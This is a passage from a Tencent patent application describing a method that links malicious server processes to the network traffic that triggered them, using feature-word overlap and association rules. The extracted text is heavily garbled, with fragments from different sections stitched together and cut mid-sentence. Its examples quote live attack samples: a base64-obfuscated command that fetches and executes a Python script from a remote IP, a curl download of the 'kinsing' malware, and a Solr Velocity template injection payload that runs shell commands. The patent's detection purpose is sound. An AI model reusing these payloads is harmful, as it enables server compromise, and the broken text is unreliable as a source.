CN119449336A 一种数据处理方法、装置、设备及存储介质 （腾讯科技（深圳）有限公司）

初始流量数据与进程特征文本之间的文本关联流量数据中确定与待处理进程数据存在潜在触2获取待处理进程数据和多条初始流量数据，所述多对所述待处理进程数据进行进程特征提取，得到所述待对所述多条初始流量数据与所述进程特征文本进行文本关根据所述文本关联表征信息，从所述多条初始流量数据中确定对所述待处理进程数据进行进程链提取，得到进程链中多个进程对应的进程标识集对所述多条初始流量数据分别进行文本分词处理，得到所基于预设关联信息，对所述进程标识集合中各进程标在所述特征词关联检测结果指示目标进程标识与目标流量特征词符合所述预设关联信息的情况下，将所述目标流量特征词集合对应的初始流量数据作为所述目标流量数据，5.根据权利要求3或4所述的方法，其特征获取多条样本关联数据，所述多条样本关联数据进程数据和与所述样本恶意进程数据存在触发关系的对所述样本恶意进程数据进行进程链提取，得到样本进程链对目标样本进程标识与目标样本流量特征词进行关联置信3在所述关联置信指标符合预设置信条件的情况下，确定所述目标样本进程标识与所述目标样本流量特征词在目标样本关联数据中同时对所述多个初始流量特征词中各初始流量特征词进行组基于所述多个初始流量特征词和/或所述多个组合流量特征词，得到所述样本流量特确定所述进程特征词集合中与所述多条初始流量数据中每一初始流量数据重合的进根据所述目标数量与所述进程特征词集合的特征词总数之间将所述文本重合指标作为所述每一初始流量数据对应将所述多条初始流量数据中对应文本重合指标大于预设文本重合阈值的初始流量数4对所述多条待检测流量数据进行明文攻击检测，确定多条数据获取模块，用于获取待处理进程数据和多条初进程特征提取模块，用于对所述待处理进程数据进行文本关联分析模块，用于对所述多条初始流量5[0003]由于服务器每时每刻都会产生大量的网络交互行为，从而产生大量流量记录(其6数据中确定与所述待处理进程数据存在潜在触发程数据对应的进程特征文本，并对多条初始流量数据与进程特征文本进行文本关联分析，7设备中的软体，比如计算机程序。客户端所对应的操作系统可以是安卓系统(Android系据发送到区块链系统中的其他节点，供其他节点在验证记录数据来源以及完整性成功时，8[0042]以下介绍本申请提供的一种数据处理方法的具体实施例，图2是本申请实施例提统或产品执行时，可以按照实施例或者附图所示的方法顺序执行或者并行执行(例如并行[0051]在一个具体的实施例中，进程行为的特征文本可以为进程行为文本中的文本元9流量数据之间的文本重合指标和进程特征文本与每一初始流量数据之间的特征词关联检流量数据之间的文本重合指标和进程特征文本与每一初始流量数据之间的特征词关联检实际应用中，预设明文攻击检测规则可以结合安全运营专家的攻击检测经验进行预先设如echocHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTguMTIuNjguMTA2L2QucHkiKS5yZWFkKCkpJw|base64_d|bash_这样一条进程数据，其含义是攻击者把真实要执行的行为(python_c'importurllib；exec(urllib.urlopen("06/d.py").read())')通过base64(一种编码方式)编码成cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTguMTIuNjguMTA2L2QucHkiKS5yZWFkKCkpJw隐藏起来，再通过base64_d解码[0068]在一个可选的实施例中，初始进程数据可能为经过编码处理后[0074]由以上实施例可见，通过对待检测流量数据和初始进程数据进本分词处理后得到的进程特征词集合为(curl,o,etc,kinsing,http,195,2,85,171,[0082]S2031，确定进程特征词集合中与多条初始流量数据中每一初始流量数据重合的含有进程特征词1至进程特征词6的进程特征词集合，若初始流量数据a中仅出现了进程特合的特征词总数为6，得到初始流量数据a与进程特征文本之间的文本重合指标为50如[0088]S2041，将多条初始流量数据中对应文本重合指标大于预设文本重合阈值的初始设置，可选的实施例中，预设文本重合阈值可以为90相应的，对应文本重合指标大于[0091]参见图3，图3是本申请实施例提供的一种恶意进程来源定位方案的流程示意阈值的初始流量数据作为目标流量数据，通过分析流量文本和进程行为之间的文本重合供的一种数据示例图，对图4中左侧的流量数据进行攻击行为提取，得到初始流量数据：流量数据与进程特征词集合之间的文本重合指标为50由于这里的文本重合指标小于预设文本重合阈值90因此，认为左侧的初始流量数据与右侧的待处理流量数据不存在文[0093]由以上实施例可见，通过对待检测流量数据和初始进程数据进的进程特征词的目标数量，再根据目标数量与进程特征词集合的特征词总数之间的比值，多个初始流量数据中与待处理进程数据对应关联情况。这里的多个样本进程标识可以为从大量样本恶意进程数据中提取出的进程标恶意进程数据和与样本恶意进程数据存在触发程数据bash(1927)、父进程数据httpd(1491)、父父进程数据httpd(1723)和父父父进程[0101]具体的，样本进程标识集合可以表征对应样本恶意进程数据中样本进程链的特[0103]示例性的，上述样本关联数据1中样本恶意进程数据对应的样本进程链为：bashocity&v.template＝custom&v.template.custom23set($x27％27)+％23set($rt=$x.class.forName(％27java.lang.Runtime％27))+％23set($chr＝$x.class.forName(％27java.lang.Character％27))+％23set($str＝$x.class.forName(%27java.lang.String％27))+％23set($ex＝$rt.getRuntime().exec(％27chmod+％2Bx+％2Ftmp％2Fzzz％27))+Sex.waitFor()+％23set($out＝Sex.getinputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read中长度小于3的样本流量特征词，得到如下的样本流量特征词集合：(solr/fts/select/velocity/v.template/custom/v.template.custom/x.class.forName/java.lang.Runtime/x.class.forName/java.lang.Character/x.class.forName/java.lang.String/rt.getRuntime/chmod/tmp/zzz/ex.waitFor/ex.getInputStream/foreach/out.available/str.valueOf/“java.lang.Process”，可以将这两个初始流量特征词进行组合，得到组合流量特征词 [0113]在一个具体的实施例中，这里的基于多个初始流量特征词和/或多个组合流量特联置信分析，确定目标样本进程标识与目标样本流量特征词之间的关联置信指标可以包[0119]S5041，确定目标样本进程标识与目标样本流量特征词在目标样本关联数据中同A)表示在目标样本关联数据中出现目标样本流量特征词A的基础上目标样本关联数据中出A)＝85说明所有样本关联数据中有2％的样本关联数据同时出现了目标样本流量特征包含有目标样本流量特征词A的样本关联数据中有90％也出现了目标样本进程标识关联规则可以表征对应样本进程标识与对应样本流量特征词之间的关联关系，示意性的，一待处理进程数据包含有样本进程标识N时，可以认为该初始流量数据与该待处理进程数据之间存在潜在触发关系。量数据触发的样本恶意进程数据所在的进程链中必定包含有“php_fpm”这个样本进程标在触发关系的样本流量数据的样本关联数据，然后对样本恶意进程数据进行进程链提取，联置信指标符合预设置信条件的情况下，基于目标样本进程标识与目标样本流量特征词，特征词集合可以包括：每一初始流量数据对应的多个初始流量特征词和/或每一初始流量应的样本流程数据中提取出的流量特征词，这里的预设关联信息可以基于步骤S501_S505集合对应的进程特征文本与目标流量特征词集合对应的初始流量数据之间是否存在特征[0165]S2042，在特征词关联检测结果指示目标进程标识与目标流量特征词符合预设关而可以认为目标流量特征词集合对应的初始流量数据与进程标识集合对应的待处理进程[0167]示例性的，预设关联信息包括：预设关联规则“index.php→php_fpm”，即有流量特征词“index.php”，待处理进程数据d对应的进程标识集合E2包含有进程标识联规则，即流量特征词集合E1和进程标识集合E2之间存在特征词关联，进而可以认为初始待处理进程数据d之间存在潜在触发关系。[0169]参见图6，图6是本申请实施例提供的另一种恶意进程来源定位方案的流程示意样本恶意进程数据的流程数据)，通过挖掘样本恶意进程数据的样本进程链中的多个样本进行关联置信分析，确定目标样本进程标识与目标样本流量特征词之间的关联置信指标，过确定进程特征词集合中与多条初始流量数据中每一初始流量数据重合的进程特征词的[0173]本申请实施例还提供了一种数据处理装置，如图8所示，该数据处理装置可以包[0176]文本关联分析模块830，用于对多条初始流量数据与进程特征文本进行文本关联[0196]第二文本关联表征信息单元，用于将特征词关联检测结果作为文本关联表征信[0206]样本流量特征词集合单元，用于基于多个初始流量特征词和/或多个组合流量特[0214]本申请实施例提供了一种数据处理设备，该数据处理设备包括[0215]进一步地，图9示出了一种用于实现本申请实施例所提供的数据处理方法的数据的数据处理装置。如图9所示，数据处理设备90可以包括一个或多个(图中采用902a、辑器件FPGA等的处理装置)、用于存储数据的存储器904、以及用于通信功能的传输装置[0216]应当注意到的是上述一个或多个处理器902和/或其他数据处理电路在本文中通据处理设备90(或移动设备)中的其他元件中的任意一个内。如本申请实施例中所涉及到[0217]存储器904可用于存储应用软件的软件程序以及模块，如本申请实施例中所述的数据处理方法对应的程序指令/数据存储装置，处理器902通过运行存储在存储器904内的[0218]传输装置906用于经由一个网络接收或者发送数据。上述的网络具体实例可包括[0219]显示器可以例如触摸屏式的液晶显示器(LCD)，该液晶显示器可使得